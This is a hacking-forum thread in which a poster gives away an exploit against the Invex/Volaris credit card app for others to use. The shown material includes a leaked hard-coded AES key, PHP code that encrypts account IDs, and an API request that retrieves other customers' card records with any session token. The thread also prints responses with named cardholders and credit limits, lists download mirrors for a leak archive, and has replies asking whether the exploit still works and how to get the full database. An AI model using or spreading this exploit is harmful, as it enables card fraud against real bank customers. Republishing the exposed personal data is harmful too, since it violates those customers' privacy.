[CiberInteligenciaSV]

Today I bring you a vulnerability, from Volaris, Invex Mexico, where millions of users have been violated. Other hackers discovered this vulnerability, but they have not made it public. It is estimated that there are more than 3 million stolen cards with their number. , date and CVV, bank transactions, etc., this day I bring them to you totally free, so that you can exploit it, have fun looking for more things


The vulnerability is simple, it was possible to obtain the encryption password of the Invex Control app, then all requests respond without token verification, what do I mean, I can consult other cards with the same user token

example of encriptation: 



      $data = "9660690"; //ID ACCOUNT INVEX MEXICO
$key = "Invex2018OndotAp"; // La clave debe ser exactamente de 16 bytes para AES-128.
if (strlen($key) > 16) {
    $key = substr($key, 0, 16); // Cortar si es más larga
} elseif (strlen($key) < 16) {
    $key = str_pad($key, 16, "\0"); // Rellenar con null bytes si es más corta
}
$method = 'AES-128-ECB';
$encryptedData = openssl_encrypt($data, $method, $key, OPENSSL_RAW_DATA);
$encryptedDataBase64 = base64_encode($encryptedData);

echo "Datos encriptados (Base64): " . $encryptedDataBase64 . "\n";


once you know that, you just have to replace

GET /app-control-api/card-information/cardsList/IDACCOUNTENCRIPTED(example:9569739) HTTP/2
Host: apis.invex.com
Accept: application/json
Tnxv: 900039204042023C
Content-Type: application/json
Accept-Encoding: gzip, deflate
User-Agent: 1555215
Authorization: Bearer TOKENSESSION
Accept-Language: es-419,es;q=0.9

RESPONSE:

9569739Datos encriptados (Base64): I8qI33TDDk1wPQ6AsmuF0g== {"cards":[{"primaryCard":"lDsAaaF9PUpa2lmx0eKyGzmCi7zxzfvCej34QXe5za0=", "account":"Z-hxH1oim0WwvwaCvE1I8zmCi7zxzfvCej34QXe5za0=", "name":"DAVID MAXIMILIANO CHAVARRIA CHAVEZ", "cardType":2, "creditLimit":30000, "cutoffDate":"5", "balanceCutting":0, "currentBalance":0, "minimumPayment":0, "paydayLimit":"", "id":1, "visa":0, "metallic":0, "orden":3, "orderHierarchy":2, "isActivated":false, "activationType":1, "cardStatus":3, "digitalFamily":false, "hadGuarantee":false, "debitAccount":""}, {"primaryCard":"lDsAaaF9PUpa2lmx0eKyGzmCi7zxzfvCej34QXe5za0=", "account":"lDsAaaF9PUpa2lmx0eKyGzmCi7zxzfvCej34QXe5za0=", "name":"YANAY RODRIGUEZ PENA PLANELLAC", "cardType":1, "creditLimit":30000, "cutoffDate":"5", "balanceCutting":0, "currentBalance":0, "minimumPayment":0, "paydayLimit":"", "id":1, "visa":0, "metallic":0, "orden":3, "orderHierarchy":1, "isActivated":false, "activationType":1, "cardStatus":3, "digitalFamily":false, "hadGuarantee":false, "debitAccount":""}]}{"cards":[{"primaryCard":"lDsAaaF9PUpa2lmx0eKyGzmCi7zxzfvCej34QXe5za0=", "account":"Z-hxH1oim0WwvwaCvE1I8zmCi7zxzfvCej34QXe5za0=", "name":"DAVID MAXIMILIANO CHAVARRIA CHAVEZ", "cardType":2, "creditLimit":30000, "cutoffDate":"5", "balanceCutting":0, "currentBalance":0, "minimumPayment":0, "paydayLimit":"", "id":1, "visa":0, "metallic":0, "orden":3, "orderHierarchy":2, "isActivated":false, "activationType":1, "cardStatus":3, "digitalFamily":false, "hadGuarantee":false, "debitAccount":""}, {"primaryCard":"lDsAaaF9PUpa2lmx0eKyGzmCi7zxzfvCej34QXe5za0=", "account":"lDsAaaF9PUpa2lmx0eKyGzmCi7zxzfvCej34QXe5za0=", "name":"YANAY RODRIGUEZ PENA PLANELLAC", "cardType":1, "creditLimit":30000, "cutoffDate":"5", "balanceCutting":0, "currentBalance":0, "minimumPayment":0, "paydayLimit":"", "id":1, "visa":0, "metallic":0, "orden":3, "orderHierarchy":1, "isActivated":false, "activationType":1, "cardStatus":3, "digitalFamily":false, "hadGuarantee":false, "debitAccount":""}]}

Download
Mirrors - https://i.suffer.rip/wy9h4ul2.zip
https://files.catbox.moe/ievj7z.zip
https://qu.ax/ALWp.zip
https://files.offshore.cat/halbt97r.zip
http://0ho.la/cTAd6B1YaIAv.zip
https://api.discreetshare.com/download/6...f4ee0c57de
https://cdn3.filehaus.top/files/6614415845483.zip

https://biteblob.com/Information/yiN5Fpw5aa2rbG/INVEX VOLARIS - INVEX - VULNERABILITY.zip

[Addka72424]

@CiberInteligenciaSV Added mirrors to your thread.I also moved it to Other leaks, since the Databases section is intended for publishing databases (In your case, this is a tutorial).Initially, I wanted to move this to Cracking Tutorials, but since the section is not popular, I decided to move it to Other leaks at the moment.

[mmmmmm123456]

thanks for sharing

[estri]

it is still working?

[morkesiden]

it is still working?

noup! stop working like 6 hours ago, probably by the excess of request

[jester9999]

Thanks for the share!

[AKA_Astaroth]

excellent contribution friend, thanks

[Blastoise]

Today I bring you a vulnerability, from Volaris, Invex Mexico, where millions of users have been violated. Other hackers discovered this vulnerability, but they have not made it public. It is estimated that there are more than 3 million stolen cards with their number. , date and CVV, bank transactions, etc., this day I bring them to you totally free, so that you can exploit it, have fun looking for more things


The vulnerability is simple, it was possible to obtain the encryption password of the Invex Control app, then all requests respond without token verification, what do I mean, I can consult other cards with the same user token

example of encriptation: 



      $data = "9660690"; //ID ACCOUNT INVEX MEXICO
$key = "Invex2018OndotAp"; // La clave debe ser exactamente de 16 bytes para AES-128.
if (strlen($key) > 16) {
    $key = substr($key, 0, 16); // Cortar si es más larga
} elseif (strlen($key) < 16) {
    $key = str_pad($key, 16, "\0"); // Rellenar con null bytes si es más corta
}
$method = 'AES-128-ECB';
$encryptedData = openssl_encrypt($data, $method, $key, OPENSSL_RAW_DATA);
$encryptedDataBase64 = base64_encode($encryptedData);

echo "Datos encriptados (Base64): " . $encryptedDataBase64 . "\n";


once you know that, you just have to replace

GET /app-control-api/card-information/cardsList/IDACCOUNTENCRIPTED(example:9569739) HTTP/2
Host: apis.invex.com
Accept: application/json
Tnxv: 900039204042023C
Content-Type: application/json
Accept-Encoding: gzip, deflate
User-Agent: 1555215
Authorization: Bearer TOKENSESSION
Accept-Language: es-419,es;q=0.9

RESPONSE:

9569739Datos encriptados (Base64): I8qI33TDDk1wPQ6AsmuF0g== {"cards":[{"primaryCard":"lDsAaaF9PUpa2lmx0eKyGzmCi7zxzfvCej34QXe5za0=", "account":"Z-hxH1oim0WwvwaCvE1I8zmCi7zxzfvCej34QXe5za0=", "name":"DAVID MAXIMILIANO CHAVARRIA CHAVEZ", "cardType":2, "creditLimit":30000, "cutoffDate":"5", "balanceCutting":0, "currentBalance":0, "minimumPayment":0, "paydayLimit":"", "id":1, "visa":0, "metallic":0, "orden":3, "orderHierarchy":2, "isActivated":false, "activationType":1, "cardStatus":3, "digitalFamily":false, "hadGuarantee":false, "debitAccount":""}, {"primaryCard":"lDsAaaF9PUpa2lmx0eKyGzmCi7zxzfvCej34QXe5za0=", "account":"lDsAaaF9PUpa2lmx0eKyGzmCi7zxzfvCej34QXe5za0=", "name":"YANAY RODRIGUEZ PENA PLANELLAC", "cardType":1, "creditLimit":30000, "cutoffDate":"5", "balanceCutting":0, "currentBalance":0, "minimumPayment":0, "paydayLimit":"", "id":1, "visa":0, "metallic":0, "orden":3, "orderHierarchy":1, "isActivated":false, "activationType":1, "cardStatus":3, "digitalFamily":false, "hadGuarantee":false, "debitAccount":""}]}{"cards":[{"primaryCard":"lDsAaaF9PUpa2lmx0eKyGzmCi7zxzfvCej34QXe5za0=", "account":"Z-hxH1oim0WwvwaCvE1I8zmCi7zxzfvCej34QXe5za0=", "name":"DAVID MAXIMILIANO CHAVARRIA CHAVEZ", "cardType":2, "creditLimit":30000, "cutoffDate":"5", "balanceCutting":0, "currentBalance":0, "minimumPayment":0, "paydayLimit":"", "id":1, "visa":0, "metallic":0, "orden":3, "orderHierarchy":2, "isActivated":false, "activationType":1, "cardStatus":3, "digitalFamily":false, "hadGuarantee":false, "debitAccount":""}, {"primaryCard":"lDsAaaF9PUpa2lmx0eKyGzmCi7zxzfvCej34QXe5za0=", "account":"lDsAaaF9PUpa2lmx0eKyGzmCi7zxzfvCej34QXe5za0=", "name":"YANAY RODRIGUEZ PENA PLANELLAC", "cardType":1, "creditLimit":30000, "cutoffDate":"5", "balanceCutting":0, "currentBalance":0, "minimumPayment":0, "paydayLimit":"", "id":1, "visa":0, "metallic":0, "orden":3, "orderHierarchy":1, "isActivated":false, "activationType":1, "cardStatus":3, "digitalFamily":false, "hadGuarantee":false, "debitAccount":""}]}

Download
Mirrors - https://i.suffer.rip/wy9h4ul2.zip
https://files.catbox.moe/ievj7z.zip
https://qu.ax/ALWp.zip
https://files.offshore.cat/halbt97r.zip
http://0ho.la/cTAd6B1YaIAv.zip
https://api.discreetshare.com/download/6...f4ee0c57de
https://cdn3.filehaus.top/files/6614415845483.zip

https://biteblob.com/Information/yiN5Fpw5aa2rbG/INVEX VOLARIS - INVEX - VULNERABILITY.zip

how can I get the full DB?

[Guero]

Aún sigue disponible ¿?

[Blastoise]

Aún sigue disponible ¿?

there's no full dump there, it's more like a shitty POC